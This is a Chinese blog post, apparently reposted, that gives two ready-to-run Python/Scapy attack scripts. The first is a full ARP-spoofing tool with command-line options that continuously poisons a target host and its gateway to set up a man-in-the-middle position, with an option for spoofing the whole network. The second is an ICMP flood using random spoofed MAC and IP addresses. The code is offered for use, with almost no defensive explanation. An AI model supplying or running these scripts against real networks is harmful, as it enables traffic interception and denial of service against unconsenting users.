arp攻击 python_python之arp攻击
----------------------------------------看到上面的代碼,你笑了嗎?--------------------------------------------------------------------------------------------
好了,不胡鬧了。
正點(diǎn)來(lái)了:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
'''
ARP 攻擊腳本
'''
import argparse
import threading
import time
from scapy.all import ARP, Ether, get_if_hwaddr, sendp
from scapy.layers.l2 import getmacbyip
# 注意這里面的幾個(gè)方法
# Ether用來(lái)構(gòu)建以太網(wǎng)數(shù)據(jù)包
# ARP是構(gòu)建ARP數(shù)據(jù)包的類(lèi)
# sendp方法在第二層發(fā)送數(shù)據(jù)包
# getmacbyip方法用于通過(guò)ip獲取mac地址
# get_if_hwaddr方法獲取指定網(wǎng)卡的mac地址
def get_mac(tgt_ip):
'''
調(diào)用scapy的getmacbyip函數(shù),獲取攻擊目標(biāo)IP的MAC地址。
'''
tgt_mac = getmacbyip(tgt_ip)
if tgt_mac is not None:
return tgt_mac
else:
print("無(wú)法獲取IP為:%s 主機(jī)的MAC地址,請(qǐng)檢查目標(biāo)IP是否存活"%tgt_ip)
def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip):
'''
生成ARP數(shù)據(jù)包,偽造網(wǎng)關(guān)欺騙目標(biāo)計(jì)算機(jī)
src_mac:本機(jī)的MAC地址,充當(dāng)中間人
tgt_mac:目標(biāo)計(jì)算機(jī)的MAC
gateway_ip:網(wǎng)關(guān)的IP,將發(fā)往網(wǎng)關(guān)的數(shù)據(jù)指向本機(jī)(中間人),形成ARP攻擊
tgt_ip:目標(biāo)計(jì)算機(jī)的IP
op=is-at,表示ARP響應(yīng)
'''
eth = Ether(src=src_mac, dst=tgt_mac)
arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at")
pkt = eth / arp
return pkt
def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip):
'''
生成ARP數(shù)據(jù)包,偽造目標(biāo)計(jì)算機(jī)欺騙網(wǎng)關(guān)
src_mac:本機(jī)的MAC地址,充當(dāng)中間人
gateway_mac:網(wǎng)關(guān)的MAC
tgt_ip:目標(biāo)計(jì)算機(jī)的IP,將網(wǎng)關(guān)發(fā)往目標(biāo)計(jì)算機(jī)的數(shù)據(jù)指向本機(jī)(中間人),形成ARP攻擊
gateway_ip:網(wǎng)關(guān)的IP
op=is-at,表示ARP響應(yīng)
'''
eth = Ether(src=src_mac, dst=gateway_mac)
arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at")
pkt = eth / arp
return pkt
def main():
"""
主方法
"""
description = "ARP攻擊腳本"
parser = argparse.ArgumentParser(description=description)
parser.add_argument('-sm', dest='srcmac', type=str, help='發(fā)送源計(jì)算機(jī)的MAC,如果不提供,默認(rèn)將采用本機(jī)的MAC地址')
parser.add_argument('-t', dest='targetip', type=str, help='指定目標(biāo)計(jì)算機(jī)IP', required=True)
parser.add_argument('-tm', dest='targetmac', type=str, help='指定目標(biāo)計(jì)算機(jī)MAC,如果不提供,默認(rèn)將根據(jù)其IP獲取MAC地址')
parser.add_argument('-g', dest='gatewayip', type=str, help='指定網(wǎng)關(guān)IP', required=True)
parser.add_argument('-gm', dest='gatewaymac', type=str, help='指定網(wǎng)關(guān)MAC,如果不提供,默認(rèn)將根據(jù)其IP獲取MAC地址')
parser.add_argument('-i', dest='interface', type=str, help='指定使用的網(wǎng)卡', required=True)
parser.add_argument('-a', dest='allarp', action='store_true', help='是否進(jìn)行全網(wǎng)arp欺騙')
args = parser.parse_args()
tgt_ip = args.targetip
gateway_ip = args.gatewayip
interface = args.interface
srcmac = args.srcmac
targetmac = args.targetmac
gatewaymac = args.gatewaymac
if tgt_ip is None or gateway_ip is None or interface is None:
print(parser.print_help())
exit(0)
src_mac = srcmac
if src_mac is None:
src_mac = get_if_hwaddr(interface)
print('本機(jī)MAC地址是:', src_mac)
print("目標(biāo)計(jì)算機(jī)IP地址是:", tgt_ip)
tgt_mac = targetmac
if tgt_mac is None:
tgt_mac = get_mac(tgt_ip)
print("目標(biāo)計(jì)算機(jī)MAC地址是:", tgt_mac)
print("網(wǎng)關(guān)IP地址是:", gateway_ip)
gateway_mac = gatewaymac
if gateway_mac is None:
gateway_mac = get_mac(gateway_ip)
print("網(wǎng)關(guān)MAC地址是:", gateway_mac)
input('按任意鍵繼續(xù):')
pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip)
pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip)
# 如果不展示發(fā)送情況的話下面的語(yǔ)句可以更加簡(jiǎn)便直接用sendp方法提供的功能循環(huán)發(fā)送即可,不需要多線程和死循環(huán)。
# sendp(pkt_station, inter=1, loop=1)
# sendp(pkt_gateway, inter=1, loop=1)
i = 1
while True:
t = threading.Thread(
target=sendp,
args=(pkt_station,),
kwargs={'inter':1, 'iface':interface}
)
t.start()
t.join()
print(str(i) + "
發(fā)送一個(gè)計(jì)算機(jī)ARP欺騙包")
s = threading.Thread(
target=sendp,
args=(pkt_gateway,),
kwargs={'inter':1, 'iface':interface}
)
s.start()
s.join()
print(str(i) + "
發(fā)送一個(gè)網(wǎng)關(guān)ARP欺騙包")
i += 1
time.sleep(1)
if __name__ == '__main__':
main()
———————————————————————————無(wú)恥分界線———————————————————————
最后,給大家來(lái)段洪水攻擊————代碼啦
#!/usr/bin/python
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=1:
iface=sys.argv[1]
while True:
packet= Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)
創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎(jiǎng)勵(lì)來(lái)咯,堅(jiān)持創(chuàng)作打卡瓜分現(xiàn)金大獎(jiǎng)總結(jié)
以上是生活随笔為你收集整理的arp攻击 python_python之arp攻击的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: h5大转盘 php,HTML5 can
- 下一篇: 中文python笔记_python 中文